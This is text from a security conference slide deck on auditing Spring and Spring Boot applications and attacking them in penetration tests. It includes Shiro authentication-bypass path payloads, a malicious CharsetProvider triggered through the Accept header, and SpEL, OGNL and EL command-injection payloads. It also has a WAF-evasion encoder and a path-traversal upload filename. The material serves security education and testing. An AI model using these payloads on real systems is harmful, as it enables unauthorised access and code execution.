Panda Hacking Spring
Panda Hacking Spring
panda
2023.06.10
About Me
• T00ls荣誉成员
• T00ls 名人堂成员
• 《Java 代码审计 · 入门篇》作者之一
• 某甲方安全工程师
• Blog: www.cnpanda.net
2
Audit Spring Framework & Spring Boot
Hacked Spring
Audit Spring Framework & Spring Boot - 快速审计思路
• 无情的 find jar 机器 – 你的眼睛是铁
fastjson
• version <= 1.2.80
shiro
• version < 1.11.0
log4j
• 2.x.x <= version < 2.17.0
hessian
xtream
actuator
……
5
Audit Spring Framework & Spring Boot - 快速审计思路
6
Audit Spring Framework & Spring Boot - 快速审计思路
7
Audit Spring Framework & Spring Boot - 快速审计思路
8
Audit Spring Framework & Spring Boot - 快速审计思路
9
Audit Spring Framework & Spring Boot - 快速审计思路
10
Audit Spring Framework & Spring Boot - 快速审计思路
11
Audit Spring Framework & Spring Boot - 快速审计思路
12
Audit Spring Framework & Spring Boot - 快速审计思路
人工 工具
优点:
优点:
• 代码数据安全
• 速度快,覆盖面较广
缺点: • 门槛低,快速分析
• 专家经验 优点:
• 易遗漏 • 代码数据安全无法 100%
保障
13
Audit Spring Framework & Spring Boot - 快速审计思路
Web.xml
<servlet>
<servlet-name>hrssworkflowervlet</servlet-name>
<servlet-class>
nc.bs.hrss.pf.WorkFlowPngServlet
</servlet-class>
Special Servlet
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>hrssworkflowervlet</servlet-name>
<url-pattern>/workflowpng</url-pattern>
</servlet-mapping>
Audit Spring Framework & Spring Boot - 快速审计思路
xxx-config.xxx
未授权(前台)
鉴权分析
16
Audit Spring Framework & Spring Boot – 通用审计思路
命令执行
反序列化
模板注入 关键函数 RCE
代码执行
反射调用
JNDI 代码功能
通用漏洞分析 表达式注入
SQL
文件上传 漏洞组合链
未授权优先
文件读取/下载
……
17
Audit Spring Framework & Spring Boot – 通用审计思路
Fortify
CodeQL 扫描结果人工分析
工具一把梭
Checkmarx
Tabby
18
Audit Spring Framework & Spring Boot – 审计小 trick
避免某些文件中找不到对应类
19
Audit Spring Framework & Spring Boot – 审计小 trick
20
Audit Spring Framework & Spring Boot – 审计小 trick
统一反编译
cfr-0.151.jar
https://github.com/KpLi0rn/DeserializeAll
21
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
目录及文件 注解 关键字
Controller @Controller extends HttpServlet
Web @RestController
HttpServletRequest
interceptor @RequestMapping request
api @GetMapping .getParameter
servlet @PostMapping RequestBody
webservice @PutMapping ResponseBody
Web.xml @PutMapping PathVariable
springmvc-servlet.xml @DeleteMapping RequestParam
@PatchMapping
@CrossOrigin
@interface
22
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
23
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
24
Audit Spring Framework & Spring Boot – 审计小 trick
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod
26
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
/**/**.html
/users = /users .*
/**/**.*
/**/**.js
27
Audit Spring Framework & Spring Boot – 审计小 trick
WEB-INF/KmssConfig/sys/authentication/spring.xml
https://vuls.info/PeiQi/wiki/oa%20treexml.tmpl%20远程命令执行漏洞/#_4 29
Audit Spring Framework & Spring Boot – 审计小 trick
AuthXXXXXFilter
@Override configurePathMatch
configurer.setUseSuffixPatternMatch(false)
suffixPatternMatch = false
springmvc.xml
<mvc:annotation-driven>
<mvc:path-matching suffix-pattern="false"/>
</mvc:annotation-driven>
31
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
/users = /users/
getRequestURI().equals("/admin/info")
32
Audit Spring Framework & Spring Boot – 审计小 trick
.antMatchers("/admin","/user/*/info","/api/*").authenticated()
auth: /admin/addUser
34
Audit Spring Framework & Spring Boot – 审计小 trick
Xml.config /org/ivesoftware/admin/AuthCheckFilter.java
</param-value> ......
}
</init-param>
</filter>
forward
1 ShiroFilterFactoryBean shiroFilterFactoryBean() {
2 ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
3 bean.setSecurityManager(securityManager()); // 指定 SecurityManager
4 bean.setLoginUrl(“/login”); // 登录页面
5 bean.setSuccessUrl(“/index”); // 登录成功页面
6 bean.setUnauthorizedUrl(“/unauthorizedurl”); // 访问未获授权路径时跳转的页面
7 Map<String, String> map = new LinkedHashMap<>();
8 map.put("/doLogin", "anon");
9 map.put("/admin", "authc");
10 bean.setFilterChainDefinitionMap(map);
11 return bean;
12 }
Audit Spring Framework & Spring Boot – 审计小 trick
forward
1 @GetMapping("/test")
2 public void test(HttpServletRequest request, HttpServletResponse response){
3 RequestDispatcher rd = request.getRequestDispatcher("/admin");
4 try {
5 rd.forward(request, response);
6 } catch (Exception e) {
7 e.printStackTrace();
8 }
9 }
10 @GetMapping("/admin")
11 public String hello() {
12 return "admin";
13 }
14 @GetMapping("/login")
15 public String login() {
16 return "please login!";
17 }
Audit Spring Framework & Spring Boot – 审计小 trick
forward
38
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过 zk/src/org/zkoss/zk/au/http/AuUploader.java
ZK框架权限绕过
From: https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
40
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过
From : https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
41
Audit Spring Framework & Spring Boot – 审计小 trick
/toJsonPOJO/
CVE-2020-1957 shiro < 1.5.2 /** = anon Spring Boot < 2.3.0.RELEASE
à /xx/..;/toJsonPOJO
(=1.5.2)
/toJsonList/aa
(=1.5.2)
à / 的两次编码 --> %25%32%66
/toJsonList/* = authc à /toJsonList/a%25%32%66a
à /toJsonList/a%2fa;
CVE-2020-11989 shiro < 1.5.3 (<1.5.2)
/alter/* = authc (<1.5.2)
&& /shirodemo/alter/test
/** = anon à /;/shirodemo/alter/test
42
Audit Spring Framework & Spring Boot – 审计小 trick
/hello
CVE-2020-13933 shiro < 1.6.0 /hello/* = authc à /hello/%3ba -> /hello/;a
/hello
CVE-2020-17510 shiro < 1.7.0 /hello/* = authc à/hello/%2e à /hello/.
(/%2e、/%2e/、/%2e%2e、/%2e%2e/都可)
/hello
CVE-2020-13933 shiro < 1.7.1 /hello/* = authc à /hello/%20
/admin/page
CVE-2021-41303 shiro < 1.8.0 /hello/* = authc à/admin/page/
RegExPatternMatcher /alter/aaa
CVE-2022-32532 shiro < 1.9.1 &&
/alter/.*
à /alter/a%0aaa
à /alter/a%0daa
From: https://xz.aliyun.com/t/11633 43
Audit Spring Framework & Spring Boot – 审计小 trick
Default secret
QVD-2023-6271
nacos.core.auth.default.token.secret.key
=SecretKey0~90~90~9
JWT
Weak secret
• Secret 生成算法可以猜解
• 弱口令 secret
• Secret 存储文件被读取
44
Audit Spring Framework & Spring Boot – 审计小 trick
ChatGPT
45
Audit Spring Framework & Spring Boot
Hacked Spring
Hacked Spring – 渗透测试实战
Fastjson
Log4Shell
Shrio
组件漏洞 Spring4Shell
Actuator
Axis
Druid
渗透测试实战
Hessian deserialize
XStream deserialize
文件上传
传统漏洞 文件读取
表达式注入
XML 中的注入
权限绕过
47
Hacked Spring – 渗透测试实战
Fastjson
Druid
https://github.com/a1phaboy/FastjsonScan
Session moniter à session
Log4Shell
https://github.com/Tsojan/TsojanScan
Axis
Spring4Shell AdminService
https://github.com/fullhunt/spring4shell-scan
org.apache.axis.handlers.LogHandler
org.apache.axis.client.ServiceFactory
Shrio
com.sun.script.javascript.RhinoScriptEngine
https://github.com/j1anFen/shiro_attack javax.el.ELProcessor
Actuator Swagger
https://github.com/artsploit/yaml-payload https://github.com/jayus0821/swagger-hack
https://github.com/wyzxxz/heapdump_tool
48
Hacked Spring – 渗透测试实战
Hessian deserialize
marshalsec
JNDI-Injection-Exploit
https://gitee.com/a1324622751/Hessian-Deserialize-RCE
49
Hacked Spring – 渗透测试实战
XStream deserialize
From: https://articles.zsxq.com/id_i2vwfvie7dv9.html
50
Hacked Spring – 渗透测试实战
文件上传
From: su18 51
Hacked Spring – 渗透测试实战
import base64
name = "test"
encode = name.encode("utf-8")
b = base64.b64encode(encode)
print("=?utf-8?B?"+b.decode()+"?=")
文件上传 res = ""
for i in encode.decode("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print("=?gbk?Q?"+res+"?=")
From: Y4tacker
Commons fileupload > 1.3
52
Hacked Spring – 渗透测试实战
文件上传
......
if(!file.isEmpty()){
String Filename = file.getOriginalFilename();
String suffix =
originalFilename.substring(Filename.lastIndexOf("."));
if(!“.xlsx”.equals(suffix) && !".xls".equals(suffix)){
../../../../../../etc/cron.d/up.xls
throw new Exception("非法请求,请导入excel文件");
}
byte[] bytes = file.getBytes();
String path = ULOADED_FOLDER + Filename;
}
......
53
Hacked Spring – 渗透测试实战
SpringBoot文件上传
org.springframework.web.accept.HeaderContentNegotiationStrategy
Accept: text/html;charset=GBK
public List<MediaType> resolveMediaTypes(NativeWebRequest request)
throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues("Accept");
...
try {
List<MediaType> mediaTypes =
MediaType.parseMediaTypes(headerValues);
...
} catch (InvalidMediaTypeException var5) {
...
Charset.forName(value);
}
}
}
54
Hacked Spring – 渗透测试实战
1
public static Charset forName(String charsetName) {
2 Charset cs = lookup(charsetName);
3 if (cs != null)
4 return cs;
5 ......
6 }
private static Charset lookup(String charsetName) {
7
if (charsetName == null)
8
throw new IllegalArgumentException("Null charset name"); Charset.forName
9 Object[] a;
10 if ((a = cache1) != null && charsetName.equals(a[0]))
11 return (Charset)a[1];
12 return lookup2(charsetName);
13 }
14
private static Charset lookup2(String charsetName) {
Object[] a;
15
if ((a = cache2) != null && charsetName.equals(a[0])) {
16
cache2 = cache1;
17 cache1 = a;
18 return (Charset)a[1];
19 }
20 Charset cs;
21 if ((cs = standardProvider.charsetForName(charsetName)) != null ||
22
(cs = lookupExtendedCharset(charsetName)) != null ||
(cs = lookupViaProviders(charsetName)) != null)
23
{
24
cache(charsetName, cs);
25 return cs; ClassLoader cl = ClassLoader.getSystemClassLoader();
26 } ServiceLoader<CharsetProvider> sl =
27 ......
28 } ServiceLoader.load(CharsetProvider.class, cl);
Hacked Spring – 渗透测试实战
1
import java.io.IOException;
2 import java.nio.charset.Charset;
3 import java.util.HashSet;
4 import java.util.Iterator;
5
6 public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override
7
public Iterator<Charset> charsets() {
8
return new HashSet<Charset>().iterator();
9 }
10 @Override
11 public Charset charsetForName(String charsetName) {
12
13 if (charsetName.startsWith("Evil")) {
14
try {
Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
15
} catch (IOException e) {
16
e.printStackTrace();
17 }
18 }
19 return Charset.forName("UTF-8");
20 }
21 }
├── Evil.class
└── META-INF
curl -X GET “ http://127.0.0.1:8080 ” -H “ Accept: text/html; Charset=Evil "
└── services
└── java.nio.charset.spi.CharsetProvider
Hacked Spring – 渗透测试实战
SpEL
T(java.lang.Runtime).getRuntime().exec(“open /System/Applications/Calculator.app")
${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}
表达式注入 OGNL
${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new
j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['/bin/sh','-c','open
/System/Applications/Calculator.app']).start()\u003B")}
EL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("
java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}
57
Hacked Spring – 渗透测试实战
#!/usr/bin/env python
#coding: utf-8
def encode(payload):
encode_payload = "" EL表达式注入绕过 waf
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload
exp1 =
'${"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s)}' %
(encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('whoami'))
print(exp1)
58
Hacked Spring – 渗透测试实战
EhCache file
文件读取 XML 中的注入
application.properties
. ssh
. bash_history
WSDL
59
Hacked Spring – 渗透测试实战
main.xxxx.js
umi.xxxx.js
路由寻找
app.xxxx.js
chunk.xxxx.js
60
Hacked Spring – 渗透测试实战
/login/..;/admin /AdMin
/admin/. /admin/;
/admin/%2e /admin/%3b
/admin;%252flogin /admin/;a
/ad%0dmin /login/%u002e%u002e/%u002e%u002e/admin
NoAuth: /login
/admin/%20 /..;/..;/..;/..;/..;/admin
Auth: /admin
/admin/ //admin//
/login/./././admin //;//admin
/login/../admin /admin.json
/login/%2e%2e/admin /admin.js
/./admin/..
/..;/admin
/admin/%20/ 61
/admin..;/
Thanks !
62